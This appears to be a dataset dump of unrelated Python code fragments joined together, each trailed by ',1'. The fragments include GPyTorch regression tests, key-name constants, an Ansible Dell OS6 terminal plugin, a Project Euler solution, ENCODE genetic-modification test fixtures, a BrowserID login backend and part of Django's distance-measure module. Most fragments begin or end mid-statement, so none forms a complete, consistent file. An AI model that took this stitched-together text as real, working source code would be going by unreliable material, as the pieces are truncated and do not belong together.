gp_model = GPRegressionModel(train_x, train_y, likelihood) mll = gpytorch.mlls.ExactMarginalLogLikelihood(likelihood, gp_model) # Optimize the model gp_model.train() likelihood.train() optimizer = optim.Adam(gp_model.parameters(), lr=0.1) for _ in range(30): optimizer.zero_grad() output = gp_model(train_x) loss = -mll(output, train_y) loss.backward() optimizer.step() for param in gp_model.parameters(): self.assertTrue(param.grad is not None) self.assertGreater(param.grad.norm().item(), 0) # Test the model gp_model.eval() likelihood.eval() test_preds = likelihood(gp_model(test_x)).mean mean_abs_error = torch.mean(torch.abs(test_y - test_preds)) self.assertLess(mean_abs_error.squeeze().item(), 0.05) def test_sgpr_fast_pred_var(self): # Suppress numerical warnings warnings.simplefilter(""ignore"", NumericalWarning) train_x, train_y, test_x, test_y = make_data() likelihood = GaussianLikelihood() gp_model = GPRegressionModel(train_x, train_y, likelihood) mll = gpytorch.mlls.ExactMarginalLogLikelihood(likelihood, gp_model) # Optimize the model gp_model.train() likelihood.train() optimizer = optim.Adam(gp_model.parameters(), lr=0.1) for _ in range(50): optimizer.zero_grad() output = gp_model(train_x) loss = -mll(output, train_y) loss.backward() optimizer.step() for param in gp_model.parameters(): self.assertTrue(param.grad is not None) self.assertGreater(param.grad.norm().item(), 0) # Test the model gp_model.eval() likelihood.eval() with gpytorch.settings.max_preconditioner_size(5), gpytorch.settings.max_cg_iterations(50): with gpytorch.settings.fast_pred_var(True): fast_var = gp_model(test_x).variance fast_var_cache = gp_model(test_x).variance self.assertLess(torch.max((fast_var_cache - fast_var).abs()), 1e-3) with gpytorch.settings.fast_pred_var(False): slow_var = gp_model(test_x).variance self.assertLess(torch.max((fast_var_cache - slow_var).abs()), 1e-3) def test_sgpr_mean_abs_error_cuda(self): # Suppress numerical warnings warnings.simplefilter(""ignore"", NumericalWarning) if not torch.cuda.is_available(): return with least_used_cuda_device(): train_x, train_y, test_x, test_y = make_data(cuda=True) likelihood = GaussianLikelihood().cuda() gp_model = GPRegressionModel(train_x, train_y, likelihood).cuda() mll = gpytorch.mlls.ExactMarginalLogLikelihood(likelihood, gp_model) # Optimize the model gp_model.train() likelihood.train() optimizer = optim.Adam(gp_model.parameters(), lr=0.1) optimizer.n_iter = 0 for _ in range(25): optimizer.zero_grad() output = gp_model(train_x) loss = -mll(output, train_y) loss.backward() optimizer.n_iter += 1 optimizer.step() for param in gp_model.parameters(): self.assertTrue(param.grad is not None) self.assertGreater(param.grad.norm().item(), 0) # Test the model gp_model.eval() likelihood.eval() test_preds = likelihood(gp_model(test_x)).mean mean_abs_error = torch.mean(torch.abs(test_y - test_preds)) self.assertLess(mean_abs_error.squeeze().item(), 0.02) if __name__ == ""__main__"": unittest.main() ",1 " = ""insert"" KEY_HOME = ""home"" KEY_END = ""end"" KEY_PAGEUP = ""pageup"" KEY_PAGEDOWN = ""pagedown"" KEY_BACKSPACE = ""backspace"" KEY_DELETE = ""delete"" KEY_TAB = ""tab"" KEY_ENTER = ""enter"" KEY_PAUSE = ""pause"" KEY_ESCAPE = ""escape"" KEY_SPACE = ""space"" KEY_KEYPAD0 = ""keypad0"" KEY_KEYPAD1 = ""keypad1"" KEY_KEYPAD2 = ""keypad2"" KEY_KEYPAD3 = ""keypad3"" KEY_KEYPAD4 = ""keypad4"" KEY_KEYPAD5 = ""keypad5"" KEY_KEYPAD6 = ""keypad6"" KEY_KEYPAD7 = ""keypad7"" KEY_KEYPAD8 = ""keypad8"" KEY_KEYPAD9 = ""keypad9"" KEY_KEYPAD_PERIOD = ""keypad_period"" KEY_KEYPAD_DIVIDE = ""keypad_divide"" KEY_KEYPAD_MULTIPLY = ""keypad_multiply"" KEY_KEYPAD_MINUS = ""keypad_minus"" KEY_KEYPAD_PLUS = ""keypad_plus"" KEY_KEYPAD_ENTER = ""keypad_enter"" KEY_CLEAR = ""clear"" KEY_F1 = ""f1"" KEY_F2 = ""f2"" KEY_F3 = ""f3"" KEY_F4 = ""f4"" KEY_F5 = ""f5"" KEY_F6 = ""f6"" KEY_F7 = ""f7"" KEY_F8 = ""f8"" KEY_F9 = ""f9"" KEY_F10 = ""f10"" KEY_F11 = ""f11"" KEY_F12 = ""f12"" KEY_F13 = ""f13"" KEY_F14 = ""f14"" KEY_F15 = ""f15"" KEY_F16 = ""f16"" KEY_F17 = ""f17"" KEY_F18 = ""f18"" KEY_F19 = ""f19"" KEY_F20 = ""f20"" KEY_SYSREQ = ""sysreq"" KEY_BREAK = ""break"" KEY_CONTEXT_MENU = ""context_menu"" KEY_BROWSER_BACK = ""browser_back"" KEY_BROWSER_FORWARD = ""browser_forward"" KEY_BROWSER_REFRESH = ""browser_refresh"" KEY_BROWSER_STOP = ""browser_stop"" KEY_BROWSER_SEARCH = ""browser_search"" KEY_BROWSER_FAVORITES = ""browser_favorites"" KEY_BROWSER_HOME = ""browser_home"" ",1 "port Parallel #------------------------------------------------------------------------- # # conftools.py is a simple module to manage .xml configuration files # #------------------------------------------------------------------------- if __name__ == '__main__': """""" VARIABLES """""" args = sys.argv config_file_name = args[1] """""" CODE """""" parallel = Parallel() parallel.create_config_files(config_file_name) ",1 "# it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see . # from __future__ import (absolute_import, division, print_function) __metaclass__ = type import re import json from ansible.module_utils._text import to_text, to_bytes from ansible.plugins.terminal import TerminalBase from ansible.errors import AnsibleConnectionFailure class TerminalModule(TerminalBase): terminal_stdout_re = [ re.compile(br""[\r\n]?[\w+\-\.:\/\[\]]+(?:\([^\)]+\)){,3}(?:>|#) ?$""), re.compile(br""\[\w+\@[\w\-\.]+(?: [^\]])\] ?[>#\$] ?$"") ] terminal_stderr_re = [ re.compile(br""% ?Bad secret""), re.compile(br""(\bInterface is part of a port-channel\b)""), re.compile(br""(\bThe maximum number of users have already been created\b)|(\bUse '-' for range\b)""), re.compile(br""(?:incomplete|ambiguous) command"", re.I), re.compile(br""connection timed out"", re.I), re.compile(br""'[^']' +returned error code: ?\d+""), re.compile(br""Invalid|invalid.*$"", re.I), re.compile(br""((\bout of range\b)|(\bnot found\b)|(\bCould not\b)|(\bUnable to\b)|(\bCannot\b)|(\bError\b)).*"", re.I), re.compile(br""((\balready exists\b)|(\bnot exist\b)|(\bnot active\b)|(\bFailed\b)|(\bIncorrect\b)|(\bnot enabled\b)).*"", re.I), ] terminal_initial_prompt = br""\(y/n\)"" terminal_initial_answer = b""y"" terminal_inital_prompt_newline = False def on_open_shell(self): try: self._exec_cli_command(b'terminal length 0') except AnsibleConnectionFailure: raise AnsibleConnectionFailure('unable to set terminal parameters') def on_become(self, passwd=None): if self._get_prompt().endswith(b'#'): return cmd = {u'command': u'enable'} if passwd: cmd[u'prompt'] = to_text(r""[\r\n]?password:$"", errors='surrogate_or_strict') cmd[u'answer'] = passwd try: self._exec_cli_command(to_bytes(json.dumps(cmd), errors='surrogate_or_strict')) except AnsibleConnectionFailure: raise AnsibleConnectionFailure('unable to elevate privilege to enable mode') # in dellos6 the terminal settings are accepted after the privilege mode try: self._exec_cli_command(b'terminal length 0') except AnsibleConnectionFailure: raise AnsibleConnectionFailure('unable to set terminal parameters') def on_unbecome(self): prompt = self._get_prompt() if prompt is None: # if prompt is None most likely the terminal is hung up at a prompt return if prompt.strip().endswith(b')#'): self._exec_cli_command(b'end') self._exec_cli_command(b'disable') elif prompt.endswith(b'#'): self._exec_cli_command(b'disable') ",1 "2^3=8, 2^4=16, 2^5=32 3^2=9, 3^3=27, 3^4=81, 3^5=243 4^2=16, 4^3=64, 4^4=256, 4^5=1024 5^2=25, 5^3=125, 5^4=625, 5^5=3125 If they are then placed in numerical order, with any repeats removed, we get the following sequence of 15 distinct terms: 4, 8, 9, 16, 25, 27, 32, 64, 81, 125, 243, 256, 625, 1024, 3125 How many distinct terms are in the sequence generated by ab for 2 ≤ a ≤ 100 and 2 ≤ b ≤ 100? """""" from __future__ import print_function def power_combinations(a, b): for i in range(2, a): for j in range(2, b): yield i ** j if __name__ == '__main__': print(len(set(power_combinations(101, 101)))) # 9183 ",1 "0 total = 0 def set_print_granularity(p): global print_granularity print_granularity = p print(""%s: print granularity = %s"" % (sys.argv[0], print_granularity)) def loop_count(): global min, max, avg, total, gran_start, sum, start, first, count now = round(time.time() * 1000) if not first: elapsed = now - start if elapsed < min: min = elapsed if elapsed > max: max = elapsed sum = sum + elapsed start = now count = count + 1 total = total + 1 if count % print_granularity == 0 and not first: gran_elapsed = now - gran_start gran_start = now avg = sum / print_granularity print(""%s: last %s run stats in msec \t\t elapsed = %s \t min = %s \t max = %s \t avg = %s \t\t total loops = %s"" % (sys.argv[0], print_granularity, sum, min, max, avg, total)) # sys.stdout.write(""-"") # sys.stdout.flush() if first or count % print_granularity == 0: gran_start = now min = 10e10 max = -10e10 avg = 0 sum = 0 first = False ",1 " 'modified_site_by_coordinates': { 'assembly': 'GRCh38', 'chromosome': '11', 'start': 20000, 'end': 21000 }, 'purpose': 'repression', 'category': 'deletion', 'method': 'CRISPR', 'zygosity': 'homozygous' } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def genetic_modification_RNAi(testapp, lab, award): item = { 'award': award['@id'], 'lab': lab['@id'], 'modified_site_by_coordinates': { 'assembly': 'GRCh38', 'chromosome': '11', 'start': 20000, 'end': 21000 }, 'purpose': 'repression', 'category': 'deletion', 'method': 'RNAi' } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def genetic_modification_source(testapp, lab, award, source, gene): item = { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'introduced_gene': gene['@id'], 'purpose': 'expression', 'method': 'CRISPR', 'reagents': [ { 'source': source['@id'], 'identifier': 'sigma:ABC123' } ] } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def crispr_deletion(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'deletion', 'purpose': 'repression', 'method': 'CRISPR' } @pytest.fixture def crispr_deletion_1(testapp, lab, award, target): item = { 'lab': lab['@id'], 'award': award['@id'], 'category': 'deletion', 'purpose': 'repression', 'method': 'CRISPR', 'modified_site_by_target_id': target['@id'], 'guide_rna_sequences': ['ACCGGAGA'] } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def tale_deletion(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'deletion', 'purpose': 'repression', 'method': 'TALEN', 'zygosity': 'heterozygous' } @pytest.fixture def crispr_tag(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'tagging', 'method': 'CRISPR' } @pytest.fixture def bombardment_tag(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'tagging', 'nucleic_acid_delivery_method': ['bombardment'] } @pytest.fixture def recomb_tag(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'tagging', 'method': 'site-specific recombination' } @pytest.fixture def transfection_tag(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'tagging', 'nucleic_acid_delivery_method': ['stable transfection'] } @pytest.fixture def crispri(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'interference', 'purpose': 'repression', 'method': 'CRISPR' } @pytest.fixture def rnai(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'interference', 'purpose': 'repression', 'method': 'RNAi' } @pytest.fixture def mutagen(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'mutagenesis', 'purpose': 'repression', 'method': 'mutagen treatment' } @pytest.fixture def tale_replacement(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'replacement', 'purpose': 'characterization', 'method': 'TALEN', 'zygosity': 'heterozygous' } @pytest.fixture def mpra(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'characterization', 'nucleic_acid_delivery_method': ['transduction'] } @pytest.fixture def starr_seq(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'episome', 'purpose': 'characterization', 'nucleic_acid_delivery_method': ['transient transfection'] } @pytest.fixture def introduced_elements(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'episome', 'purpose': 'characterization', 'nucleic_acid_delivery_method': ['transient transfection'], 'introduced_elements': 'genomic DNA regions' } @pytest.fixture def crispr_tag_1(testapp, lab, award, ctcf): item = { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'tagging', 'method': 'CRISPR', 'modified_site_by_gene_id': ctcf['@id'], 'introduced_tags': [{'name': 'mAID-mClover', 'location': 'C-terminal'}] } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def mpra_1(testapp, lab, award): item = { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'characterization', 'nucleic_acid_delivery_method': ['transduction'], 'introduced_elements': 'synthesized DNA', 'modified_site_nonspecific': 'random' } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def recomb_tag_1(testapp, lab, award, target, treatment_5, document): item = { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'tagging', 'method': 'site-specific recombination', 'modified_site_by_target_id': target['@id'], 'modified_site_nonspecific': 'random', 'category': 'insertion', 'treatments': [treatment_5['@id']], 'documents': [document['@id']], 'introduced_tags': [{'name': 'eGFP', 'location': 'C-terminal'}] } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def rnai_1(testapp, lab, award, source, target): item = { 'lab': lab['@id'], 'award': award['@id'], 'category': 'interference', 'purpose': 'repression', 'method': 'RNAi', 'reagents': [{'source': source['@id'], 'identifier': 'addgene:12345'}], 'rnai_sequences': ['ATTACG'], 'modified_site_by_target_id': target['@id'] } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def genetic_modification_1(lab, award): return { 'modification_type': 'deletion', 'award': award['uuid'], 'lab': lab['uuid'], 'modifiction_description': 'some description' } @pytest.fixture def genetic_modification_2(lab, award): return { 'modification_type': 'deletion', 'award': award['uuid'], 'lab': lab['uuid'], 'modification_description': 'some description', 'modification_zygocity': 'homozygous', 'modification_purpose': 'tagging', 'modification_treatments': [], 'modification_genome_coordinates': [{ 'chromosome': '11', 'start': 5309435, 'end': 5309451 }] } @pytest.fixture def crispr_gm(lab, award, source): return { 'lab': lab['uuid'], 'award': award['uuid'], 'source': source['uuid'], 'guide_rna_sequences': [ ""ACA"", ""GCG"" ], 'insert_sequence': 'TCGA', 'aliases': ['encode:crispr_technique1'], '@type': ['Crispr', 'ModificationTechnique', 'Item'], '@id': '/crisprs/79c1ec08-c878-4419-8dba-66aa4eca156b/', 'uuid': '79c1ec08-c878-4419-8dba-66aa4eca156b' } @pytest.fixture def genetic_modification_5(lab, award, crispr_gm): return { 'modification_type': 'deletion', 'award': award['uuid'], 'lab': lab['uuid'], 'description': 'blah blah description blah', 'zygosity': 'homozygous', 'treatments': [], 'source': 'sigma', 'product_id': '12345', 'modification_techniques': [crispr_gm], 'modified_site': [{ 'assembly': 'GRCh38', 'chromosome': '11', 'start': 5309435, 'end': 5309451 }] } @pytest.fixture def genetic_modification_6(lab, award, crispr_gm, source): return { 'purpose': 'validation', 'category': 'deeltion', 'award': award['uuid'], 'lab': lab['uuid'], 'description': 'blah blah description blah', ""method"": ""CRISPR"", ""modified_site_by_target_id"": ""/targets/FLAG-ZBTB43-human/"", ""reagents"": [ { ""identifier"": ""placeholder_id"", ""source"": source['uuid'] } ] } @pytest.fixture def genetic_modification_7_invalid_reagent(lab, award, crispr_gm): return { 'purpose': 'characterization', 'category': 'deletion', 'award': award['uuid'], 'lab': lab['uuid'], 'description': 'blah blah description blah', ""method"": ""CRISPR"", ""modified_site_by_target_id"": ""/targets/FLAG-ZBTB43-human/"", ""reagents"": [ { ""identifier"": ""placeholder_id"", ""source"": ""/sources/sigma/"" } ] } @pytest.fixture def genetic_modification_7_valid_reagent(lab, award, crispr_gm): return { 'purpose': 'characterization', 'category': 'deletion', 'award': award['uuid'], 'lab': lab['uuid'], 'description': 'blah blah description blah', ""method"": ""CRISPR"", ""modified_site_by_target_id"": ""/targets/FLAG-ZBTB43-human/"", ""reagents"": [ { ""identifier"": ""ABC123"", ""source"": ""/sources/sigma/"" } ] } @pytest.fixture def genetic_modification_7_addgene_source(testapp): item = { 'name': 'addgene', 'title': 'Addgene', 'status': 'released' } return testapp.post_json('/source', item).json['@graph'][0] @pytest.fixture def genetic_modification_7_multiple_matched_identifiers(lab, award, crispr_gm): return { 'purpose': 'characterization', 'category': 'deletion', 'award': award['uuid'], 'lab': lab['uuid'], 'description': 'blah blah description blah', ""method"": ""CRISPR"", ""modified_site_by_target_id"": ""/targets/FLAG-ZBTB43-human/"", ""reagents"": [ { ""identifier"": ""12345"", ""source"": ""/sources/addgene/"" } ] } @pytest.fixture def genetic_modification_7_multiple_reagents(lab, award, crispr_gm): return { 'purpose': 'characterization', 'category': 'deletion', 'award': award['uuid'], 'lab': lab['uuid'], 'description': 'blah blah description blah', ""method"": ""CRISPR"", ""modified_site_by_target_id"": ""/targets/FLAG-ZBTB43-human/"", ""reagents"": [ { ""identifier"": ""12345"", ""source"": ""/sources/addgene/"", ""url"": ""http://www.addgene.org"" }, { ""identifier"": ""67890"", ""source"": ""/sources/addgene/"", ""url"": ""http://www.addgene.org"" } ] } @pytest.fixture def genetic_modification_8(lab, award): return { 'purpose': 'analysis', 'category': 'interference', 'award': award['uuid'], 'lab': lab['uuid'], ""method"": ""CRISPR"", } @pytest.fixture def construct_genetic_modification( testapp, lab, award, document, target_ATF5_genes, target_promoter): item = { 'award': award['@id'], 'documents': [document['@id']], 'lab': lab['@id'], 'category': 'insertion', 'purpose': 'tagging', 'nucleic_acid_delivery_method': ['stable transfection'], 'introduced_tags': [{'name':'eGFP', 'location': 'C-terminal', 'promoter_used': target_promoter['@id']}], 'modified_site_by_target_id': target_ATF5_genes['@id'] } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def construct_genetic_modification_N( testapp, lab, award, document, target): item = { 'award': award['@id'], 'documents': [document['@id']], 'lab': lab['@id'], 'category': 'insertion', 'purpose': 'tagging', 'nucleic_acid_delivery_method': ['stable transfection'], 'introduced_tags': [{'name':'eGFP', 'location': 'N-terminal'}], 'modified_site_by_target_id': target['@id'] } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def interference_genetic_modification( testapp, lab, award, document, target): item = { 'award': award['@id'], 'documents': [document['@id']], 'lab': lab['@id'], 'category': 'interference', 'purpose': 'repression', 'method': 'RNAi', 'modified_site_by_target_id': target['@id'] } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def crispr_knockout(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'knockout', 'purpose': 'characterization', 'method': 'CRISPR' } @pytest.fixture def recombination_knockout(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'knockout', 'purpose': 'repression', 'method': 'site-specific recombination', 'modified_site_by_coordinates': { ""assembly"": ""GRCh38"", ""chromosome"": ""11"", ""start"": 60000, ""end"": 62000 } } @pytest.fixture def characterization_insertion_transfection(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'characterization', 'nucleic_acid_delivery_method': ['stable transfection'], 'modified_site_nonspecific': 'random', 'introduced_elements': 'synthesized DNA' } @pytest.fixture def characterization_insertion_CRISPR(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'characterization', 'method': 'CRISPR', 'modified_site_nonspecific': 'random', 'introduced_elements': 'synthesized DNA' } @pytest.fixture def disruption_genetic_modification(testapp, lab, award): item = { 'lab': lab['@id'], 'award': award['@id'], 'category': 'CRISPR cutting', 'purpose': 'characterization', 'method': 'CRISPR' } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def activation_genetic_modification(testapp, lab, award): item = { 'lab': lab['@id'], 'award': award['@id'], 'category': 'CRISPRa', 'purpose': 'characterization', 'method': 'CRISPR' } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def binding_genetic_modification(testapp, lab, award): item = { 'lab': lab['@id'], 'award': award['@id'], 'category': 'CRISPR dCas', 'purpose': 'characterization', 'method': 'CRISPR' } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def HR_knockout(lab, award, target): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'knockout', 'purpose': 'repression', 'method': 'homologous recombination', 'modified_site_by_target_id': target['@id'] } @pytest.fixture def CRISPR_introduction(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'expression', 'nucleic_acid_delivery_method': ['transient transfection'] } @pytest.fixture def genetic_modification_9(lab, award, human_donor_1): return { 'lab': lab['@id'], 'award': award['@id'], 'donor': human_donor_1['@id'], 'category': 'insertion', 'purpose': 'expression', 'method': 'transient transfection' } @pytest.fixture def transgene_insertion(testapp, lab, award, ctcf): item = { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'in vivo enhancer characterization', 'nucleic_acid_delivery_method': ['mouse pronuclear microinjection'], 'modified_site_by_gene_id': ctcf['@id'], 'introduced_sequence': 'ATCGTA' } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def guides_transduction_GM(testapp, lab, award): item = { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'expression', 'nucleic_acid_delivery_method': ['transduction'], 'introduced_elements': 'gRNAs and CRISPR machinery', 'MOI': 'high', 'guide_type': 'sgRNA' } return testapp.post_json('/genetic_modification', item).json['@graph'][0] @pytest.fixture def genetic_modification_10(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'insertion', 'purpose': 'expression', 'nucleic_acid_delivery_method': ['transduction'], 'introduced_elements': 'gRNAs and CRISPR machinery', } @pytest.fixture def genetic_modification_11(lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'disruption', 'purpose': 'characterization', 'method': 'CRISPR' } @pytest.fixture def transgene_insertion_2(testapp, lab, award, ctcf): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'transgene insertion', 'purpose': 'in vivo enhancer characterization', 'nucleic_acid_delivery_method': ['mouse pronuclear microinjection'], 'modified_site_by_gene_id': ctcf['@id'], 'introduced_sequence': 'ATCGTA' } @pytest.fixture def activation_genetic_modification_2(testapp, lab, award): return{ 'lab': lab['@id'], 'award': award['@id'], 'category': 'activation', 'purpose': 'characterization', 'method': 'CRISPR' } @pytest.fixture def binding_genetic_modification_2(testapp, lab, award): return { 'lab': lab['@id'], 'award': award['@id'], 'category': 'binding', 'purpose': 'characterization', 'method': 'CRISPR' } ",1 "(BaseAuth): """"""BrowserID authentication backend"""""" name = 'persona' def get_user_id(self, details, response): """"""Use BrowserID email as ID"""""" return details['email'] def get_user_details(self, response): """"""Return user details, BrowserID only provides Email."""""" # {'status': 'okay', # 'audience': 'localhost:8000', # 'expires': 1328983575529, # 'email': 'name@server.com', # 'issuer': 'browserid.org'} email = response['email'] return {'username': email.split('@', 1)[0], 'email': email, 'fullname': '', 'first_name': '', 'last_name': ''} def extra_data(self, user, uid, response, details): """"""Return users extra data"""""" return {'audience': response['audience'], 'issuer': response['issuer']} def auth_complete(self, *args, **kwargs): """"""Completes loging process, must return user instance"""""" if not 'assertion' in self.data: raise AuthMissingParameter(self, 'assertion') response = self.get_json('https://browserid.org/verify', data={ 'assertion': self.data['assertion'], 'audience': self.strategy.request_host() }, method='POST') if response.get('status') == 'failure': raise AuthFailed(self) kwargs.update({'response': response, 'backend': self}) return self.strategy.authenticate(*args, **kwargs) ",1 "or without modification, # are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # 3. Neither the name of Distance nor the names of its contributors may be used # to endorse or promote products derived from this software without # specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ""AS IS"" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON # ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # """""" Distance and Area objects to allow for sensible and convenient calculation and conversions. Authors: Robert Coup, Justin Bronn, Riccardo Di Virgilio Inspired by GeoPy (http://exogen.case.edu/projects/geopy/) and Geoff Biggs' PhD work on dimensioned units for robotics. """""" __all__ = ['A', 'Area', 'D', 'Distance'] from decimal import Decimal from functools import total_ordering from django.utils import six NUMERIC_TYPES = six.integer_types + (float, Decimal) AREA_PREFIX = ""sq_"" def pretty_name(obj): return obj.__name__ if obj.__class__ == type else obj.__class__.__name__ @total_ordering class MeasureBase(object): STANDARD_UNIT = None ALIAS = {} UNITS = {} LALIAS = {} def __init__(self, default_unit=None, **kwargs): value, self._default_unit = self.default_units(kwargs) setattr(self, self.STANDARD_UNIT, value) if default_unit and isinstance(default_unit, six.string_types): self._default_unit = default_unit def _get_standard(self): return getattr(self, self.STANDARD_UNIT) def _set_standard(self, value): setattr(self, self.STANDARD_UNIT, value) standard = property(_get_standard, _set_standard) def __getattr__(self, name): if name in self.UNITS: return self.standard / self.UNITS[name] else: raise AttributeError('Unknown unit type: %s' % name) def __repr__(self): return '%s(%s=%s)' % (pretty_name(self), self._default_unit, getattr(self, self._default_unit)) def __str__(self): return '%s %s' % (getattr(self, self._default_unit), self._default_unit) # **** Comparison methods **** def __eq__(self, other): if isinstance(other, self.__class__): return self.standard == other.standard else: return NotImplemented def __lt__(self, other): if isinstance(other, self.__class__): return self.standard < other.standard else: return NotImplemented # **** Operators methods **** def __add__(self, other): if isinstance(other, self.__class__): return self.__class__(default_unit=self._default_unit, **{self.STANDARD_UNIT: (self.standard + other.standard)}) else: raise TypeError('%(class)s must be added with %(class)s' % {""class"": pretty_name(self)}) def __iadd__(self, other): if isinstance(other, self.__class__): self.standard += other.standard return self else: raise TypeError('%(class)s must be added with %(class)s' % {""class"": pretty_name(self)}) def __sub__(self, other): if isinstance(other, self.__class__): return self.__class__(default_unit=self._default_unit, **{self.STANDARD_UNIT: (self.standard - other.standard)}) else: raise TypeError('%(class)s must be subtracted from %(class)s' % {""class"": pretty_name(self)}) def __isub__(self, other): if isinstance(other, self.__class__): self.standard -= other.standard return self else: raise TypeError('%(class)s must be subtracted from %(class)s' % {""class"": pretty_name(self)}) def __mul__(self, other): if isinstance(other, NUMERIC_TYPES): return self.__class__(default_unit=self._default_unit, **{self.STANDARD_UNIT: (self.standard * other)}) else: raise TypeError('%(class)s must be multiplied with number' % {""class"": pretty_name(self)}) def __imul__(self, other): if isinstance(other, NUMERIC_TYPES): self.standard *= float(other) return self else: raise TypeError('%(class)s must be multiplied with number' % {""class"": pretty_name(self)}) def __rmul__(self, other): return self * other def __truediv__(self, other): if isinstance(other, self.__class__): return self.standard / other.standard if isinstance(other, NUMERIC_TYPES): return self.__class__(default_unit=self._default_unit, **{self.STANDARD_UNIT: (self.standard / other)}) else: raise TypeError('%(class)s must be divided with number or %(class)s' % {""class"": pretty_name(self)}) def __div__(self, other): # Python 2 compatibility return type(self).__truediv__(self, other) def __itruediv__(self, other): if isinstance(other, NUMERIC_TYPES): self.standard /= float(other) return self else: raise TypeError('%(class)s must be divided with number' % {""class"": pretty_name(self)}) def __idiv__(self, other): # Python 2 compatibility return type(self).__itruediv__(self, other) def __bool__(self): return bool(self.standard) def __nonzero__(self): # Python 2 compatibility return type(self).__bool__(self) def default_units(self, kwargs): """""" Return the unit value and the default units specified from the given keyword arguments dictionary. """""" val = 0.0 default_unit = self.STANDARD_UNIT for unit, value in six.iteritems(kwargs): if not isinstance(value, float): value = float(value) if unit in self.UNITS: val += self.UNITS[unit] * value default_unit = unit elif unit in self.ALIAS: u = self.ALIAS[unit] val += self.UNITS[u] * value default_unit = u else: lower = unit.lower() if lower in self.UNITS: val += self.UNITS[lower] * value default_unit = lower elif lower in self.LALIAS: u = self.LALIAS[lower] val += self.UNITS[u] * value default_unit = u else: raise AttributeError('Unknown unit type: %s' % unit) return val, default_unit @classmethod def unit_attname(cls, unit_str): """""" Retrieves the unit attribute name for the given unit string. For example, if the given unit string is 'metre', 'm' would be returned. An exception is raised if an attribute cannot be found. """""" lower = unit_str.lower() if unit_str in cls.UNITS: return unit_str elif lower in cls.UNITS: return lower elif lower in cls.LALIAS: return cls.LALIAS[lower] else: raise Exception('Could not find a unit keyword associated with ""%s""' % unit_str) class Distance(MeasureBase): STANDARD_UNIT = ""m"" UNITS 